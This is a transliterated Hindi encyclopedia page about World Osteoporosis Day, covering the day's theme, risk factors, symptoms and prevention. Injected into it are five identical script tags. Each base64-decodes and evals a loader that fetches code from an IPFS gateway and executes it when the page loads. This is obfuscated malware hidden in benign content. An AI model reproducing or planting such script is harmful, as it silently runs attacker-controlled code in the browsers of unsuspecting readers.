विश्व ऑस्टियोपोरोसिस दिवस

vishv aaustiyoporosis divas
vishv aaustiyoporosis divas|200px|center
vivaran	yah divas aaustiyoporosis ki rokatham, nidan evan upachar ke lie vaishvik jagarookata paida karane ke prati divas samarpit hai.
tithi	20 aktoobar
uddeshy	duniya bhar mean logoan ko apane maansapeshi svasthy evan apani haddiyoan ko surakshit karane ke prati jagarook karana aur janahit ko dhyan mean rakhate hue sarakar ko svasthy nitiyoan ke nirman ke lie prerit karana.
vishesh	mahilaoan ko mukhyatah pachas varsh ki umr ke bad purushoan ki tulana mean aaustiyoporosis se pi dit hone ka khatara adhik hota hai.
sanbandhit lekh	vishv svasthy divas, vishv aghat divas, vishv manasik svasthy divas, vishv drishti divas, vishv maleriya divas
any janakari	haddi rog visheshajnoan ke anusar, bharat mean do karo d 60 lakh log is bimari se pi dit haian, jisamean 70 pratishat mahilaean haian.
adyatan‎	12:56, 19 aktoobar 2016 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vishv aaustiyoporosis divas (aangreji World Osteoporosis Day) prativarsh 20 aktoobar ko manaya jata hai. yah divas aaustiyoporosis ki rokatham, nidan evan upachar ke lie vaishvik jagarookata paida karane ke prati divas samarpit hai. is varsh is divas ka vishay "apani haddiyoan ko pyar karean tatha apane bhavishy ko surakshit karean" haian. yah divas logoan ko apane maansapeshi svasthy evan apani haddiyoan ko surakshit karane ke lie jaldi karravaee tatha svasthy adhikariyoan evan chikitsakoan ko unake samudayoan ki haddiyoan ke svasthy ko surakshit karane mean prerit karane ke lie manaya jata hai.

aaustiyoporosis ki visheshata haddiyoan ke ootakoan ki kharabi hai. is rog mean haddiyaan nazuk evan kamazor ho jati haian, jisake parinamasvaroop ridh ki haddi visheshakar koolhe evan kalaee ke phraikchar hone ka khatara badh jata hai. mahilaoan ko mukhyatah pachas varsh ki umr ke bad purushoan ki tulana mean aaustiyoporosis se pi dit hone ka khatara adhik hota hai.

visheshajnoan ka kahana hai ki bharat mean 50 varsh se adhik umr ki mahilaoan mean aaustiyoporosis ke karan haddiyaan tootane ka khatara adhik hota hai. aaustiyoporosis ke karan haddiyaan kamazor ho jati haian, jisase isake tootane ka khatara badh jata hai. pith mean dard, kad ka chhota p dana ya age ki taraph jhuk jana isake kuchh mahatvapoorn lakshan haian. haddi rog visheshajnoan ke anusar, bharat mean do karo d 60 lakh log is bimari se pi dit haian, jisamean 70 pratishat mahilaean haian. praimas supar speshiliti aspatal ke haddi rog visheshajn pankaj valechha ke anusar, rajonivritti ke dauran mahilaoan mean estrojen harmon kam banane lagata hai, jisase haddiyoan ke kamazor hone ka khatara badh jata hai. bachche ko janm dene ke dauran bhi mahilaoan mean kailshiyam ki kami ho jati hai, jisaki bharapaee kar pana aksar mushkil hota hai. isalie 45 se 50 sal ki jin mahilaoan mean masik dharm aniyamit ho gaya ho, unhean kailshiyam lena shuroo kar dena chahie.

aaustiyoporosis se pi dit hone vale karan

• liang- yah rog mahilaoan mean rajonivritti ke bad adhikaanshat: paya jata haian.
• umr- aaustiyoporosis se pi dit hone ka zokhim pachas varsh ki ayu se adhik umr ke logoan ko adhik hota hai.
• parivar ka itihas- aaustiyoporosis se pi dit hone vale mata-pita ya bhaee-bahanoan ke parivarik sadasyoan mean aaustiyoporosis ke vikasit hone ka zokhim adhik hota haian.
• ahar sanbandhi karak- kam kailshiyam evan kam ahar ka sevan karana.
• davaean- lanbe samay tak sevan ki jane vali davaean jaise ki ster aauid.
• jivan-shaili karak- adhik baithe rahane vali/nishkriy jivanashaili, dhoomrapan evan had se zyada sharab ka sevan.

lakshan

1. pith mean dard.
2. samay ke sath lambaee mean kami.
3. sharir ka jhukana/jhukav.
4. koolhe ya ridh ki haddi ka phraikchar.

rokatham ke upay

1. kailshiyam aur vitamin di yukt khady padarthoan jaise ki doodh, dahi evan hari pattedar sabjiyoan se bharapoor santulit ahar ka sevan karean tatha prakritik dhoop ke sanpark mean rahean.
2. haddiyoan ki kshati ko rokane ke lie niyamit vyayam karean.
3. dhoomrapan evan had se zyada sharab ka sevan karane se bachean.
4. apane ap ko tanav se rahat dilane vali gatividhiyoan jaise ki yog evan dhyan mean vyast rakhean.
5. apane sharir ke vazan, kailshiyam evan vitamin di ke star ki niyamit jaanch rakhean.
6. had se zyada sharab ka sevan karane se bachean. aisa karana aaustiyoporosis ke zokhim ko kam karata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>